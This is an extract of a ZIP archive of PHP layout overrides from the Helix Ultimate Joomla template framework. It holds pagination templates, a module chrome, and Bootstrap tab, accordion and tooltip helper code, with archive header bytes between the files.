					<a class="btn-close" data-bs-dismiss="alert" aria-label="<?php Text::_('JLIB_HTML_BEHAVIOR_CLOSE'); ?>"></a>

					<?php if (!empty($msgs)) : ?>
						<h4 class="alert-heading"><?php echo Text::_($type); ?></h4>
						<div>
							<?php foreach ($msgs as $msg) : ?>
								<div><?php echo $msg; ?></div>
							<?php endforeach; ?>
						</div>
					<?php endif; ?>
				</div>
			<?php endforeach; ?>
		</div>
	<?php endif; ?>
	<?php } ?>
</div>
PK!Ի��
�
:helixultimate/overrides/layouts/joomla/pagination/link.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\Language\Text;

$item    = $displayData['data'];
$display = $item->text;
$app = Factory::getApplication();

switch ((string) $item->text)
{
	// Check for "Start" item
	case Text::_('JLIB_HTML_START') :
		$icon = $app->getLanguage()->isRtl() ? 'fas fa-angle-double-right' : 'fas fa-angle-double-left';
		$aria = Text::sprintf('JLIB_HTML_GOTO_POSITION', strtolower($item->text));
		break;

	// Check for "Prev" item
	case $item->text === Text::_('JPREV') :
		$item->text = Text::_('JPREVIOUS');
		$icon = $app->getLanguage()->isRtl() ? 'fas fa-angle-right' : 'fas fa-angle-left';
		$aria =Text::sprintf('JLIB_HTML_GOTO_POSITION', strtolower($item->text));
		break;

	// Check for "Next" item
	case Text::_('JNEXT') :
		$icon = $app->getLanguage()->isRtl() ? 'fas fa-angle-left' : 'fas fa-angle-right';
		$aria = Text::sprintf('JLIB_HTML_GOTO_POSITION', strtolower($item->text));
		break;

	// Check for "End" item
	case Text::_('JLIB_HTML_END') :
		$icon = $app->getLanguage()->isRtl() ? 'fas fa-angle-double-left' : 'fas fa-angle-double-right';
		$aria = Text::sprintf('JLIB_HTML_GOTO_POSITION', strtolower($item->text));
		break;

	default:
		$icon = null;
		$aria = Text::sprintf('JLIB_HTML_GOTO_PAGE', strtolower($item->text));
		break;
}

if ($icon !== null)
{
	$display = '<span class="' . $icon . '" aria-hidden="true"></span>';
}

if ($displayData['active'])
{
	if ($item->base > 0)
	{
		$limit = 'limitstart.value=' . $item->base;
	}
	else
	{
		$limit = 'limitstart.value=0';
	}

	$class = 'active';

	if ($app->isClient('administrator'))
	{
		$link = 'href="#" onclick="document.adminForm.' . $item->prefix . $limit . '; Joomla.submitform();return false;"';
	}
	elseif ($app->isClient('site'))
	{
		$link = 'href="' . $item->link . '"';
	}
}
else
{
	$class = (property_exists($item, 'active') && $item->active) ? 'active' : 'disabled';
}

?>
<?php if ($displayData['active']) : ?>
	<li class="page-item">
		<a aria-label="<?php echo $aria; ?>" <?php echo $link; ?> class="page-link">
			<?php echo $display; ?>
		</a>
	</li>
<?php elseif (isset($item->active) && $item->active) : ?>
	<?php $aria = Text::sprintf('JLIB_HTML_PAGE_CURRENT', strtolower($item->text)); ?>
	<li class="<?php echo $class; ?> page-item">
		<span aria-current="true" aria-label="<?php echo $aria; ?>" class="page-link"><?php echo $display; ?></span>
	</li>
<?php else : ?>
	<li class="<?php echo $class; ?> page-item">
		<span class="page-link" aria-hidden="true"><?php echo $display; ?></span>
	</li>
<?php endif; ?>
PK!]G���:helixultimate/overrides/layouts/joomla/pagination/list.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

$list = $displayData['list'];

$startDisabled = $list['start']['active'] ? '' : ' disabled'; 
$prevDisabled  = $list['previous']['active'] ? '' : ' disabled'; 
$nextDisabled  = $list['next']['active'] ? '' : ' disabled'; 
$endDisabled   = $list['end']['active'] ? '' : ' disabled'; 

?>
<ul class="pagination ms-0 mb-4">
	<li class="pagination-start<?php echo $startDisabled; ?> page-item"><?php echo $list['start']['data']; ?></li>
	<li class="pagination-prev<?php echo $prevDisabled; ?> page-item"><?php echo $list['previous']['data']; ?></li>
	<?php foreach ($list['pages'] as $page) : ?>
		<?php $disabled = $page['active'] ? '' : ' disabled'; ?>
		<?php echo '<li class="page-item' . $disabled . '">' . $page['data'] . '</li>'; ?>
	<?php endforeach; ?>
	<li class="pagination-next<?php echo $nextDisabled; ?> page-item"><?php echo $list['next']['data']; ?></li>
	<li class="pagination-end<?php echo $endDisabled; ?> page-item"><?php echo $list['end']['data']; ?></li>
</ul>PK!���u	u	;helixultimate/overrides/layouts/joomla/pagination/links.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

use Joomla\CMS\Language\Text;
use Joomla\CMS\Layout\LayoutHelper;
use Joomla\Registry\Registry;

$list = $displayData['list'];
$pages = $list['pages'];

$options = new Registry($displayData['options']);

$showLimitBox   = $options->get('showLimitBox', true);
$showPagesLinks = $options->get('showPagesLinks', true);
$showLimitStart = $options->get('showLimitStart', true);

// Calculate to display range of pages
$currentPage = 1;
$range = 1;
$step = 5;

if (!empty($pages['pages']))
{
	foreach ($pages['pages'] as $k => $page)
	{
		if (!$page['active'])
		{
			$currentPage = $k;
		}
	}
}

if ($currentPage >= $step)
{
	if ($currentPage % $step === 0)
	{
		$range = ceil($currentPage / $step) + 1;
	}
	else
	{
		$range = ceil($currentPage / $step);
	}
}
?>

<div class="pagination pagination-toolbar clearfix" style="text-align: center;">

	<?php if ($showLimitBox) : ?>
		<div class="limit float-end">
			<?php echo Text::_('JGLOBAL_DISPLAY_NUM') . $list['limitfield']; ?>
		</div>
	<?php endif; ?>

	<?php if ($showPagesLinks && (!empty($pages))) : ?>
		<ul class="pagination-list d-flex list-unstyled ms-2">
			<?php
				echo LayoutHelper::render('joomla.pagination.link', $pages['start']);
				echo LayoutHelper::render('joomla.pagination.link', $pages['previous']); ?>
			<?php foreach ($pages['pages'] as $k => $page) : ?>

				<?php $output = LayoutHelper::render('joomla.pagination.link', $page); ?>
				<?php if (in_array($k, range($range * $step - ($step + 1), $range * $step), true)) : ?>
					<?php if (($k % $step === 0 || $k === $range * $step - ($step + 1)) && $k !== $currentPage && $k !== $range * $step - $step) : ?>
						<?php $output = preg_replace('#(<a.*?>).*?(</a>)#', '$1...$2', $output); ?>
					<?php endif; ?>
				<?php endif; ?>

				<?php echo $output; ?>
			<?php endforeach; ?>
			<?php
				echo LayoutHelper::render('joomla.pagination.link', $pages['next']);
				echo LayoutHelper::render('joomla.pagination.link', $pages['end']); ?>
		</ul>
	<?php endif; ?>

	<?php if ($showLimitStart) : ?>
		<input type="hidden" name="<?php echo $list['prefix']; ?>limitstart" value="<?php echo $list['limitstart']; ?>">
	<?php endif; ?>

</div>
PK!R[:��4helixultimate/overrides/layouts/chromes/sp_xhtml.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('_JEXEC') or die;

$module  = $displayData['module'];
$params  = $displayData['params'];
$attribs = $displayData['attribs'];

if ($module->content === null || $module->content === '')
{
	return;
}

$moduleTag     = htmlspecialchars($params->get('module_tag', 'div'), ENT_QUOTES, 'UTF-8');
$bootstrapSize = (int) $params->get('bootstrap_size', 0);
$moduleClass   = $bootstrapSize !== 0 ? ' span' . $bootstrapSize : '';
$headerTag     = htmlspecialchars($params->get('header_tag', 'h3'), ENT_QUOTES, 'UTF-8');
$headerClass   = htmlspecialchars($params->get('header_class', 'sp-module-title'), ENT_COMPAT, 'UTF-8');

if ($module->content) {
	echo '<' . $moduleTag . ' class="sp-module ' . htmlspecialchars($params->get('moduleclass_sfx'), ENT_COMPAT, 'UTF-8') . $moduleClass . '">';

	if ($module->showtitle) {
		echo '<' . $headerTag . ' class="' . $headerClass . '">' . $module->title . '</' . $headerTag . '>';
	}

	echo '<div class="sp-module-content">';
	echo $module->content;
	echo '</div>';
	echo '</' . $moduleTag . '>';
}
PK!#RFJhelixultimate/overrides/layouts/libraries/cms/html/bootstrap/endtabset.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

?>
</div>PK!;Ӹ�Mhelixultimate/overrides/layouts/libraries/cms/html/bootstrap/addtabscript.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

$selector = empty($displayData['selector']) ? '' : $displayData['selector'];
$id = empty($displayData['id']) ? '' : $displayData['id'];
$active = empty($displayData['active']) ? '' : $displayData['active'];
$title = empty($displayData['title']) ? '' : $displayData['title'];

$li = '<li class="nav-item"><a class="nav-link' . $active . '" href="#' . $id . '" data-bs-toggle="tab">' . $title . '</a></li>';

echo 'jQuery(function($){ $(', json_encode('#' . $selector . 'Tabs'), ').append($(', json_encode($li), ')); });';
PK!A��7��Lhelixultimate/overrides/layouts/libraries/cms/html/bootstrap/starttabset.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

$selector = empty($displayData['selector']) ? '' : $displayData['selector'];

?>

<ul class="joomla-tabs nav nav-tabs mb-3" id="<?php echo $selector; ?>Tabs"></ul>
<div class="tab-content" id="<?php echo $selector; ?>Content">
PK!BicQGhelixultimate/overrides/layouts/libraries/cms/html/bootstrap/addtab.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

$id       = empty($displayData['id']) ? '' : $displayData['id'];
$active   = empty($displayData['active']) ? '' : $displayData['active'];
$selector = empty($displayData['selector']) ? '' : $displayData['selector'];
$title    = empty($displayData['title']) ? '' : $displayData['title'];
?>
<div id="<?php echo $id; ?>" class="tab-pane<?php echo $active; ?>" data-node="<?php echo htmlspecialchars($active, ENT_COMPAT, 'UTF-8') .'['. htmlspecialchars($id, ENT_COMPAT, 'UTF-8') .'['. htmlspecialchars($title, ENT_COMPAT, 'UTF-8'); ?>">
PK!�� 
Ghelixultimate/overrides/layouts/libraries/cms/html/bootstrap/endtab.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

?>

</div>PK!S���Z�Z@helixultimate/overrides/layouts/libraries/cms/html/bootstrap.phpnu&1i�<?php
/**
 * @package Helix Ultimate Framework
 * @author JoomShaper https://www.joomshaper.com
 * @copyright Copyright (c) 2010 - 2021 JoomShaper
 * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPLv2 or Later
*/

defined('JPATH_BASE') or die;

use Joomla\CMS\Factory;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Layout\FileLayout;
use Joomla\CMS\Layout\LayoutHelper;

/**
 * Utility class for Bootstrap elements.
 *
 * @since  3.0
 */
abstract class HelixBootstrap
{
	/**
	 * @var    array  Array containing information for loaded files
	 * @since  3.0
	 */
	protected static $loaded = array();

	/**
	 * Add javascript support for Bootstrap alerts
	 *
	 * @param   string  $selector  Common class for the alerts
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function alert($selector = 'alert')
	{
		// Only load once
		if (!empty(static::$loaded[__METHOD__][$selector]))
		{
			return;
		}

		// Include Bootstrap framework
		HTMLHelper::_('bootstrap.framework');

		Factory::getDocument()->addScriptOptions('bootstrap.alert', array($selector => ''));

		static::$loaded[__METHOD__][$selector] = true;
	}

	/**
	 * Add javascript support for Bootstrap buttons
	 *
	 * @param   string  $selector  Common class for the buttons
	 *
	 * @return  void
	 *
	 * @since   3.1
	 */
	public static function button($selector = 'button')
	{
		// Only load once
		if (!empty(static::$loaded[__METHOD__][$selector]))
		{
			return;
		}

		// Include Bootstrap framework
		HTMLHelper::_('bootstrap.framework');

		Factory::getDocument()->addScriptOptions('bootstrap.button', array($selector));

		static::$loaded[__METHOD__][$selector] = true;
	}

	/**
	 * Add javascript support for Bootstrap carousels
	 *
	 * @param   string  $selector  Common class for the carousels.
	 * @param   array   $params    An array of options for the carousel.
	 *                             Options for the carousel can be:
	 *                             - interval  number  The amount of time to delay between automatically cycling an item.
	 *                                                 If false, carousel will not automatically cycle.
	 *                             - pause     string  Pauses the cycling of the carousel on mouseenter and resumes the cycling
	 *                                                 of the carousel on mouseleave.
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function carousel($selector = 'carousel', $params = array())
	{
		// Only load once
		if (!empty(static::$loaded[__METHOD__][$selector]))
		{
			return;
		}

		// Include Bootstrap framework
		HTMLHelper::_('bootstrap.framework');

		// Setup options object
		$opt['interval'] = isset($params['interval']) ? (int) $params['interval'] : 5000;
		$opt['pause']    = isset($params['pause']) ? $params['pause'] : 'hover';

		Factory::getDocument()->addScriptOptions('bootstrap.carousel', array($selector => $opt));

		static::$loaded[__METHOD__][$selector] = true;
	}

	/**
	 * Add javascript support for Bootstrap dropdowns
	 *
	 * @param   string  $selector  Common class for the dropdowns
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function dropdown($selector = 'dropdown-toggle')
	{
		// Only load once
		if (!empty(static::$loaded[__METHOD__][$selector]))
		{
			return;
		}

		// Include Bootstrap framework
		HTMLHelper::_('bootstrap.framework');

		Factory::getDocument()->addScriptOptions('bootstrap.dropdown', array($selector));

		static::$loaded[__METHOD__][$selector] = true;
	}

	/**
	 * Method to load the Bootstrap JavaScript framework into the document head
	 *
	 * If debugging mode is on an uncompressed version of Bootstrap is included for easier debugging.
	 *
	 * @param   mixed  $debug  Is debugging mode on? [optional]
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function framework($debug = null)
	{
		// Only load once
		if (!empty(static::$loaded[__METHOD__]))
		{
			return;
		}

		$debug = (isset($debug) && $debug != JDEBUG) ? $debug : JDEBUG;

		// Load the needed scripts
		HTMLHelper::_('behavior.core');
		HTMLHelper::_('jquery.framework');
		HTMLHelper::_('script', 'vendor/tether/tether.min.js', array('version' => 'auto', 'relative' => true, 'detectDebug' => $debug));
		HTMLHelper::_('script', 'vendor/bootstrap/bootstrap.min.js', array('version' => 'auto', 'relative' => true, 'detectDebug' => $debug));
		HTMLHelper::_('script', 'system/bootstrap-init.min.js', array('version' => 'auto', 'relative' => true, 'detectDebug' => $debug));

		static::$loaded[__METHOD__] = true;
	}

	/**
	 * Method to render a Bootstrap modal
	 *
	 * @param   string  $selector  The ID selector for the modal.
	 * @param   array   $params    An array of options for the modal.
	 *                             Options for the modal can be:
	 *                             - title        string   The modal title
	 *                             - backdrop     mixed    A boolean select if a modal-backdrop element should be included (default = true)
	 *                                                     The string 'static' includes a backdrop which doesn't close the modal on click.
	 *                             - keyboard     boolean  Closes the modal when escape key is pressed (default = true)
	 *                             - closeButton  boolean  Display modal close button (default = true)
	 *                             - animation    boolean  Fade in from the top of the page (default = true)
	 *                             - footer       string   Optional markup for the modal footer
	 *                             - url          string   URL of a resource to be inserted as an `<iframe>` inside the modal body
	 *                             - height       string   height of the `<iframe>` containing the remote resource
	 *                             - width        string   width of the `<iframe>` containing the remote resource
	 * @param   string  $body      Markup for the modal body. Appended after the `<iframe>` if the URL option is set
	 *
	 * @return  string  HTML markup for a modal
	 *
	 * @since   3.0
	 */
	public static function renderModal($selector = 'modal', $params = array(), $body = '')
	{
		// Only load once
		if (!empty(static::$loaded[__METHOD__][$selector]))
		{
			return;
		}

		// Include Bootstrap framework
		HTMLHelper::_('bootstrap.framework');

		$layoutData = array(
			'selector' => $selector,
			'params'   => $params,
			'body'     => $body,
		);

		static::$loaded[__METHOD__][$selector] = true;

		return LayoutHelper::render('joomla.modal.main', $layoutData);
	}

	/**
	 * Add javascript support for Bootstrap popovers
	 *
	 * Use element's Title as popover content
	 *
	 * @param   string  $selector  Selector for the popover
	 * @param   array   $params    An array of options for the popover.
	 *                  Options for the popover can be:
	 *                      animation    boolean          apply a css fade transition to the popover
	 *                      container    string|boolean   Appends the popover to a specific element: { container: 'body' }
	 *                      content      string|function  default content value if `data-content` attribute isn't present
	 *                      delay        number|object    delay showing and hiding the popover (ms) - does not apply to manual trigger type
	 *                                                    If a number is supplied, delay is applied to both hide/show
	 *                                                    Object structure is: delay: { show: 500, hide: 100 }
	 *                      html         boolean          Insert HTML into the popover. If false, jQuery's text method will be used to insert
	 *                                                    content into the dom.
	 *                      placement    string|function  how to position the popover - top | bottom | left | right
	 *                      selector     string           If a selector is provided, popover objects will be delegated to the specified targets.
	 *                      template     string           Base HTML to use when creating the popover.
	 *                      title        string|function  default title value if `title` tag isn't present
	 *                      trigger      string           how popover is triggered - hover | focus | manual
	 *                      constraints  array            An array of constraints - passed through to Tether.
	 *                      offset       string           Offset of the popover relative to its target.
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function popover($selector = '.hasPopover', $params = array())
	{
		// Only load once
		if (isset(static::$loaded[__METHOD__][$selector]))
		{
			return;
		}

		// Include Bootstrap framework
		HTMLHelper::_('bootstrap.framework');

		$opt['animation']   = isset($params['animation']) ? $params['animation'] : null;
		$opt['container']   = isset($params['container']) ? $params['container'] : 'body';
		$opt['content']     = isset($params['content']) ? $params['content'] : null;
		$opt['delay']       = isset($params['delay']) ? $params['delay'] : null;
		$opt['html']        = isset($params['html']) ? $params['html'] : true;
		$opt['placement']   = isset($params['placement']) ? $params['placement'] : null;
		$opt['selector']    = isset($params['selector']) ? $params['selector'] : null;
		$opt['template']    = isset($params['template']) ? $params['template'] : null;
		$opt['title']       = isset($params['title']) ? $params['title'] : null;
		$opt['trigger']     = isset($params['trigger']) ? $params['trigger'] : 'hover focus';
		$opt['constraints'] = isset($params['constraints']) ? $params['constraints'] : ['to' => 'scrollParent', 'attachment' => 'together', 'pin' => true];
		$opt['offset']      = isset($params['offset']) ? $params['offset'] : '0 0';


		$opt     = (object) array_filter((array) $opt);

		// Factory::getDocument()->addScriptOptions('bootstrap.popover', array($selector => $opt));

		static::$loaded[__METHOD__][$selector] = true;
	}

	/**
	 * Add javascript support for Bootstrap ScrollSpy
	 *
	 * @param   string  $selector  The ID selector for the ScrollSpy element.
	 * @param   array   $params    An array of options for the ScrollSpy.
	 *                             Options for the ScrollSpy can be:
	 *                             - offset  number  Pixels to offset from top when calculating position of scroll.
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function scrollspy($selector = 'navbar', $params = array())
	{
		// Only load once
		if (isset(static::$loaded[__METHOD__][$selector]))
		{
			return;
		}

		// Include Bootstrap framework
		HTMLHelper::_('bootstrap.framework');

		Factory::getDocument()->addScriptOptions('bootstrap.scrollspy', array($selector => $params));

		static::$loaded[__METHOD__][$selector] = true;
	}

	/**
	 * Add javascript support for Bootstrap tooltips
	 *
	 * Add a title attribute to any element in the form
	 * title="title::text"
	 *
	 * @param   string  $selector  The ID selector for the tooltip.
	 * @param   array   $params    An array of options for the tooltip.
	 *                             Options for the tooltip can be:
	 *                                animation    boolean          apply a css fade transition to the popover
	 *                                container    string|boolean   Appends the popover to a specific element: { container: 'body' }
	 *                                delay        number|object    delay showing and hiding the popover (ms) - does not apply to manual trigger type
	 *                                                              If a number is supplied, delay is applied to both hide/show
	 *                                                              Object structure is: delay: { show: 500, hide: 100 }
	 *                                html         boolean          Insert HTML into the popover. If false, jQuery's text method will be used to insert
	 *                                                              content into the dom.
	 *                                placement    string|function  how to position the popover - top | bottom | left | right
	 *                                selector     string           If a selector is provided, popover objects will be
	 *                                                              delegated to the specified targets.
	 *                                template     string           Base HTML to use when creating the popover.
	 *                                title        string|function  default title value if `title` tag isn't present
	 *                                trigger      string           how popover is triggered - hover | focus | manual
	 *                                constraints  array            An array of constraints - passed through to Tether.
	 *                                offset       string           Offset of the popover relative to its target.
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function tooltip($selector = '.hasTooltip', $params = array())
	{
		if (!isset(static::$loaded[__METHOD__][$selector]))
		{
			// Include Bootstrap framework
			HTMLHelper::_('bootstrap.framework');

			// Setup options object
			$opt['animation'] = isset($params['animation']) ? (boolean) $params['animation'] : null;
			$opt['html']      = isset($params['html']) ? (boolean) $params['html'] : true;
			$opt['placement'] = isset($params['placement']) ? (string) $params['placement'] : null;
			$opt['selector']  = isset($params['selector']) ? (string) $params['selector'] : null;
			$opt['title']     = isset($params['title']) ? (string) $params['title'] : null;
			$opt['trigger']   = isset($params['trigger']) ? (string) $params['trigger'] : null;
			$opt['delay']     = isset($params['delay']) ? (is_array($params['delay']) ? $params['delay'] : (int) $params['delay']) : null;
			$opt['container'] = isset($params['container']) ? $params['container'] : 'body';
			$opt['template']  = isset($params['template']) ? (string) $params['template'] : null;
			$onShow           = isset($params['onShow']) ? (string) $params['onShow'] : null;
			$onShown          = isset($params['onShown']) ? (string) $params['onShown'] : null;
			$onHide           = isset($params['onHide']) ? (string) $params['onHide'] : null;
			$onHidden         = isset($params['onHidden']) ? (string) $params['onHidden'] : null;

			$options = json_encode($opt);

			// Build the script.
			$script = array('$(container).find(' . json_encode($selector) . ').tooltip(' . $options . ')');

			if ($onShow)
			{
				$script[] = 'on("show.bs.tooltip", ' . $onShow . ')';
			}

			if ($onShown)
			{
				$script[] = 'on("shown.bs.tooltip", ' . $onShown . ')';
			}

			if ($onHide)
			{
				$script[] = 'on("hide.bs.tooltip", ' . $onHide . ')';
			}

			if ($onHidden)
			{
				$script[] = 'on("hidden.bs.tooltip", ' . $onHidden . ')';
			}

			// Set static array
			static::$loaded[__METHOD__][$selector] = true;
		}

		return;
	}

	/**
	 * Loads js and css files needed by Bootstrap Tooltip Extended plugin
	 *
	 * @param   boolean  $extended  If true, bootstrap-tooltip-extended.js and .css files are loaded
	 *
	 * @return  void
	 *
	 * @since   3.6
	 *
	 * @deprecated  4.0 No replacement, use Bootstrap tooltips.
	 */
	public static function tooltipExtended($extended = true)
	{
		if ($extended)
		{
			HTMLHelper::_('script', 'jui/bootstrap-tooltip-extended.min.js', array('version' => 'auto', 'relative' => true));
			HTMLHelper::_('stylesheet', 'jui/bootstrap-tooltip-extended.css', array('version' => 'auto', 'relative' => true));
		}
	}

	/**
	 * Add javascript support for Bootstrap accordians and insert the accordian
	 *
	 * @param   string  $selector  The ID selector for the tooltip.
	 * @param   array   $params    An array of options for the tooltip.
	 *                             Options for the tooltip can be:
	 *                             - parent  selector  If selector then all collapsible elements under the specified parent will be closed when this
	 *                                                 collapsible item is shown. (similar to traditional accordion behavior)
	 *                             - toggle  boolean   Toggles the collapsible element on invocation
	 *                             - active  string    Sets the active slide during load
	 *
	 *                             - onShow    function  This event fires immediately when the show instance method is called.
	 *                             - onShown   function  This event is fired when a collapse element has been made visible to the user
	 *                                                   (will wait for css transitions to complete).
	 *                             - onHide    function  This event is fired immediately when the hide method has been called.
	 *                             - onHidden  function  This event is fired when a collapse element has been hidden from the user
	 *                                                   (will wait for css transitions to complete).
	 *
	 * @return  string  HTML for the accordian
	 *
	 * @since   3.0
	 */
	public static function startAccordion($selector = 'myAccordian', $params = array())
	{
		// Only load once
		if (!empty(static::$loaded[__METHOD__][$selector]))
		{
			return;
		}

		// Include Bootstrap framework
		HTMLHelper::_('bootstrap.framework');

		// Setup options object
		$opt['parent'] = isset($params['parent']) ? ($params['parent'] == true ? '#' . $selector : $params['parent']) : '';
		$opt['toggle'] = isset($params['toggle']) ? (boolean) $params['toggle'] : !($opt['parent'] === false || isset($params['active']));
		$opt['onShow'] = isset($params['onShow']) ? (string) $params['onShow'] : null;
		$opt['onShown'] = isset($params['onShown']) ? (string) $params['onShown'] : null;
		$opt['onHide'] = isset($params['onHide']) ? (string) $params['onHide'] : null;
		$opt['onHidden'] = isset($params['onHidden']) ? (string) $params['onHidden'] : null;

		Factory::getDocument()->addScriptOptions('bootstrap.accordion', array($selector => $opt));

		static::$loaded[__METHOD__][$selector] = true;

		return '<div id="' . $selector . '" class="accordion" role="tablist">';
	}

	/**
	 * Close the current accordion
	 *
	 * @return  string  HTML to close the accordian
	 *
	 * @since   3.0
	 */
	public static function endAccordion()
	{
		return '</div>';
	}

	/**
	 * Begins the display of a new accordion slide.
	 *
	 * @param   string  $selector  Identifier of the accordion group.
	 * @param   string  $text      Text to display.
	 * @param   string  $id        Identifier of the slide.
	 * @param   string  $class     Class of the accordion group.
	 *
	 * @return  string  HTML to add the slide
	 *
	 * @since   3.0
	 */
	public static function addSlide($selector, $text, $id, $class = '')
	{
		$in        = (static::$loaded[__CLASS__ . '::startAccordion'][$selector]['active'] == $id) ? ' in' : '';
		$collapsed = (static::$loaded[__CLASS__ . '::startAccordion'][$selector]['active'] == $id) ? '' : ' collapsed';
		$parent    = static::$loaded[__CLASS__ . '::startAccordion'][$selector]['parent'] ?
			' data-parent="' . static::$loaded[__CLASS__ . '::startAccordion'][$selector]['parent'] . '"' : '';
		$class     = (!empty($class)) ? ' ' . $class : '';

		$html = '<div class="card mb-2' . $class . '">'
			. '<a href="#' . $id . '" data-bs-toggle="collapse"' . $parent . ' class="card-header' . $collapsed . '" role="tab">'
			. $text
			. '</a>'
			. '<div class="collapse' . $in . '" id="' . $id . '" role="tabpanel">'
			. '<div class="card-block">';

		return $html;
	}

	/**
	 * Close the current slide
	 *
	 * @return  string  HTML to close the slide
	 *
	 * @since   3.0
	 */
	public static function endSlide()
	{
		return '</div></div></div>';
	}

	/**
	 * Creates a tab pane
	 *
	 * @param   string  $selector  The pane identifier.
	 * @param   array   $params    The parameters for the pane
	 *
	 * @return  string
	 *
	 * @since   3.1
	 */
	public static function startTabSet($selector = 'myTab', $params = array())
	{
		$sig = md5(serialize(array($selector, $params)));

		if (!isset(static::$loaded[__METHOD__][$sig]))
		{
			// Include Bootstrap framework
			HTMLHelper::_('bootstrap.framework');

			// Setup options object
			$opt['active'] = (isset($params['active']) && ($params['active'])) ? (string) $params['active'] : '';

			Factory::getDocument()->addScriptOptions('bootstrap.tabs', array($selector => $opt));

			// Set static array
			static::$loaded[__METHOD__][$sig] = true;
			static::$loaded[__METHOD__][$selector]['active'] = $opt['active'];
		}

		return LayoutHelper::render('libraries.cms.html.bootstrap.starttabset', array('selector' => $selector));
	}

	/**
	 * Close the current tab pane
	 *
	 * @return  string  HTML to close the pane
	 *
	 * @since   3.1
	 */
	public static function endTabSet()
	{
		return LayoutHelper::render('libraries.cms.html.bootstrap.endtabset');
	}

	/**
	 * Begins the display of a new tab content panel.
	 *
	 * @param   string  $selector  Identifier of the panel.
	 * @param   string  $id        The ID of the div element
	 * @param   string  $title     The title text for the new UL tab
	 *
	 * @return  string  HTML to start a new panel
	 *
	 * @since   3.1
	 */
	public static function addTab($selector, $id, $title)
	{
		static $tabScriptLayout = null;
		static $tabLayout = null;

		$tabScriptLayout = $tabScriptLayout === null ? new FileLayout('libraries.cms.html.bootstrap.addtabscript') : $tabScriptLayout;
		$tabLayout = $tabLayout === null ? new FileLayout('libraries.cms.html.bootstrap.addtab') : $tabLayout;

		$active = (static::$loaded['HTMLHelperBootstrap::startTabSet'][$selector]['active'] == $id) ? ' active' : '';

		// Inject tab into UL
		Factory::getDocument()
			->addScriptDeclaration($tabScriptLayout->render(array('selector' => $selector, 'id' => $id, 'active' => $active, 'title' => $title)));

		return $tabLayout->render(array('id' => $id, 'active' => $active, 'title' => $title));
	}

	/**
	 * Close the current tab content panel
	 *
	 * @return  string  HTML to close the pane
	 *
	 * @since   3.1
	 */
	public static function endTab()
	{
		return LayoutHelper::render('libraries.cms.html.bootstrap.endtab');
	}

	/**
	 * Loads CSS files needed by Bootstrap
	 *
	 * @param   boolean  $includeMainCss  If true, main bootstrap.css files are loaded
	 * @param   string   $direction       rtl or ltr direction. If empty, ltr is assumed
	 * @param   array    $attribs         Optional array of attributes to be passed to HTMLHelper::_('stylesheet')
	 *
	 * @return  void
	 *
	 * @since   3.0
	 */
	public static function loadCss($includeMainCss = true, $direction = 'ltr', $attribs = array())
	{
		// Load Bootstrap main CSS
		if ($includeMainCss)
		{
			HTMLHelper::_('stylesheet', 'vendor/bootstrap/bootstrap.min.css', array('version' => 'auto', 'relative' => true), $attribs);
		}

		/**
		 * BOOTSTRAP RTL - WILL SORT OUT LATER DOWN THE LINE
		 * Load Bootstrap RTL CSS
		 * if ($direction === 'rtl')
		 * {
		 *  HTMLHelper::_('stylesheet', 'jui/bootstrap-rtl.css', array('version' => 'auto', 'relative' => true), $attribs);
		 * }
		 */

	}
}
PK!^�v--Ghelixultimate/overrides/layouts/libraries/html/bootstrap/modal/main.phpnu&1i�<?php
/**
 * @package     Joomla.Site
 * @subpackage  Layout
 *
 * @copyright   (C) 2015 Open Source Matters, Inc. <https://www.joomla.org>
